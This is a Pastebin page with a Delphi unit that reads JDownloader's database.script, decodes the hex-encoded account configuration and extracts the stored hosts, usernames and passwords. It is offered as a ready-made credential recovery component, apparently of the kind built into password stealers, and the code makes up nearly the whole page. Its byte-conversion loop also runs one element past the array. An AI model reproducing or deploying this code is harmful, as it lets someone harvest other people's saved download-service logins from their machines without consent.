Fakedo0r

JDownloader Recovery [Delphi]

May 16th, 2012
219
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Delphi 6.21 KB | None | 0 0
  1. //******************************************************************************
  2. //* UNIT:         UNT_JDRec
  3. //* AUTOR:        Fakedo0r .:PD-TEAM:.
  4. //* FECHA:        16.05.2012
  5. //* CORREO:       [email protected]
  6. //* BLOG:         Sub-Soul.blogspot.com
  7. //* USO:          JDownloaderRec
  8. //******************************************************************************
  9. unit UNT_JDRec;
  10. //******************************************************************************
  11. //DECLARACION DE LIBRERIAS / CLASES
  12. //******************************************************************************
  13. interface
  14.  
  15. uses
  16.   Winapi.Windows, System.SysUtils, System.Classes, Winapi.ShlObj, Vcl.Dialogs, StrUtils, RegularExpressions;
  17. //******************************************************************************
  18. //DECLARACION DE FUNCIONES / PROCEDIMIENTOS
  19. //******************************************************************************
  20. function JDownloaderRec: String;
  21. function IsFileExists(sFile: String): BOOL;
  22. function ReadFileA(sFile: String): String;
  23. function GetSpecialFolderA(iCSIDL: Integer): String;
  24. Function RegSplitA(Pattern, sCadena: String): TStrings;
  25. function ByteArrayToString(bByteArray: TBytes): AnsiString;
  26. //******************************************************************************
  27. implementation
  28. //******************************************************************************
  29. //<--- RECUPERA LAS CUENTAS DE JDOWNLOADER --->
  30. //******************************************************************************
  31. function JDownloaderRec: String;
  32. var
  33.   sHost:      String;
  34.   sUser:      String;
  35.   sPass:      String;
  36.   sPath:      String;
  37.   sPart:      String;
  38.   sDatos:     String;
  39.   sDecrypted: String;
  40.   I:          Integer;
  41.   D:          Integer;
  42.   sLines:     TStrings;
  43. begin
  44.   I := 1;
  45.   sPath := GetSpecialFolderA(CSIDL_PROGRAM_FILES) + '\JDownloader\config\database.script';
  46.  
  47.   if IsFileExists(sPath) = False then Exit;
  48.  
  49.   sDatos := ReadFileA(sPath);
  50.   sPart := 'INSERT INTO CONFIG VALUES(' + Chr($27) + 'AccountController' + Chr($27) + ',' + Chr($27);
  51.   sDatos := Copy(sDatos, AnsiPos(sPart, sDatos) + Length(sPart), Length(sDatos));
  52.   sDatos := Copy(sDatos, 1, AnsiPos(Chr($27) + ')', sDatos) - 1);
  53.  
  54.   while I <= Length(sDatos) - 2 do
  55.   begin
  56.     sDecrypted := sDecrypted + Chr(StrToInt('$' + Copy(sDatos, I, 2)));
  57.     I := I + 2;
  58.   end;
  59.  
  60.   sLines := RegSplitA('\0', sDecrypted);
  61.   sDecrypted := '';
  62.  
  63.   for I := 0 to sLines.Count - 1 do
  64.   begin
  65.     for D := 1 to 31 do
  66.       sLines.Strings[i] := StringReplace(sLines.Strings[i], Chr(D), '', [rfReplaceAll, rfIgnoreCase]);
  67.     sLines.Strings[i] := StringReplace(sLines.Strings[i], Chr(255), '', [rfReplaceAll, rfIgnoreCase]);
  68.  
  69.     If sLines.Strings[I] <> '' Then
  70.       sDecrypted := sDecrypted + #13 + sLines.Strings[i];
  71.   end;
  72.  
  73.   sLines := RegSplitA('\r', sDecrypted);
  74.  
  75.   for I := 0 to sLines.Count - 1 do
  76.   begin
  77.     if RightStr(sLines.Strings[I], 2) = 'sq' then
  78.       if AnsiPos('.', sLines.Strings[I]) > 0 then
  79.         sHost :=  Trim(LeftStr(sLines.Strings[I], Length(sLines.Strings[I]) - 2));
  80.  
  81.     if RightStr(sLines.Strings[I], 1) = 't' then
  82.       if RightStr(sLines.Strings[I + 1], 2) = 'xt' Then
  83.       begin
  84.         sPass := Trim(LeftStr(sLines.Strings[I], Length(sLines.Strings[I]) - 1));
  85.         sUser := Trim(LeftStr(sLines.Strings[I + 1], Length(sLines.Strings[I + 1]) - 2));
  86.         Result := Result + 'Host: ' + sHost + #13 +
  87.                            'User: ' + sUser + #13 +
  88.                            'Pass: ' + sPass + #13#13
  89.       end;
  90.   end;
  91. end;
  92. //******************************************************************************
  93. //<--- SPLIT [EXPRESIONES REGULARES] --->
  94. //******************************************************************************
  95. Function RegSplitA(Pattern, sCadena: String): TStrings;
  96. Var
  97.   I: Integer;
  98.   RegEx: TRegEx;
  99.   sArrVar: TArray<String>;
  100. Begin
  101.   Result := nil;
  102.   Result := TStringList.Create;
  103.   sArrVar := tRegEx.Split(sCadena, Pattern);
  104.  
  105.   For I := 0 To Length(sArrVar) - 1 Do
  106.     Result.Add(sArrVar[I]);
  107. End;
  108. //******************************************************************************
  109. //<--- OBTIENE LAS RUTAS ESPECIALES --->
  110. //******************************************************************************
  111. function GetSpecialFolderA(iCSIDL: Integer): String;
  112. Var
  113.    pszPath: PChar;
  114.    iRet:    Integer;
  115.    tIDL:    PItemIDList;
  116. begin
  117.   GetMem(pszPath, MAX_PATH);
  118.   iRet := SHGetSpecialFolderLocation(0, iCSIDL, tIDL);
  119.  
  120.   if iRet = NOERROR then
  121.   begin
  122.     SHGetPathFromIDList(tIDL, pszPath);
  123.     GetSpecialFolderA := String(pszPath);
  124.   end;
  125.  
  126.   FreeMem(pszPath);
  127. end;
  128. //******************************************************************************
  129. //<--- PERMITE LEER FICHEROS --->
  130. //******************************************************************************
  131. function ReadFileA(sFile: String): String;
  132. var
  133.   dwRet:    DWORD;
  134.   hFile:    THandle;
  135.   iSize:    Integer;
  136.   bRead:    TBytes;
  137. begin
  138.   hFile := CreateFile(PChar(sFile), GENERIC_READ, FILE_SHARE_READ, nil,
  139.                       OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  140.  
  141.   if hFile = INVALID_HANDLE_VALUE then
  142.   begin
  143.     Exit;
  144.   end;
  145.  
  146.   iSize := GetFileSize(hFile, nil);
  147.   SetFilePointer(hFile, 0, nil, FILE_BEGIN);
  148.   SetLength(bRead, iSize);
  149.  
  150.   ReadFile(hFile, bRead[0], iSize, dwRet, nil);
  151.   CloseHandle(hFile);
  152.  
  153.   Result := ByteArrayToString(bRead);
  154. end;
  155. //******************************************************************************
  156. //<--- CONVIERTE ARRAY DE BYTES EN STRING --->
  157. //******************************************************************************
  158. function ByteArrayToString(bByteArray: TBytes): AnsiString;
  159. var
  160.   i: Integer;
  161. begin
  162.   SetLength(Result, Length(bByteArray));
  163.  
  164.   for i := 0 to Length(bByteArray) do
  165.     Result[i + 1] := AnsiChar(bByteArray[i]);
  166. end;
  167. //******************************************************************************
  168. //<--- VERIFICA SI EL ARCHIVO EXISTE --->
  169. //******************************************************************************
  170. function IsFileExists(sFile: String): BOOL;
  171. var
  172.   iRet: DWORD;
  173. begin
  174.   Result:= True;
  175.   iRet := GetFileAttributes(PChar(sFile));
  176.  
  177.   if iRet = INVALID_FILE_ATTRIBUTES then
  178.   begin
  179.     Result := False;
  180.   end;
  181. end;
  182.  
  183. end.
Add Comment
Please, Sign In to add comment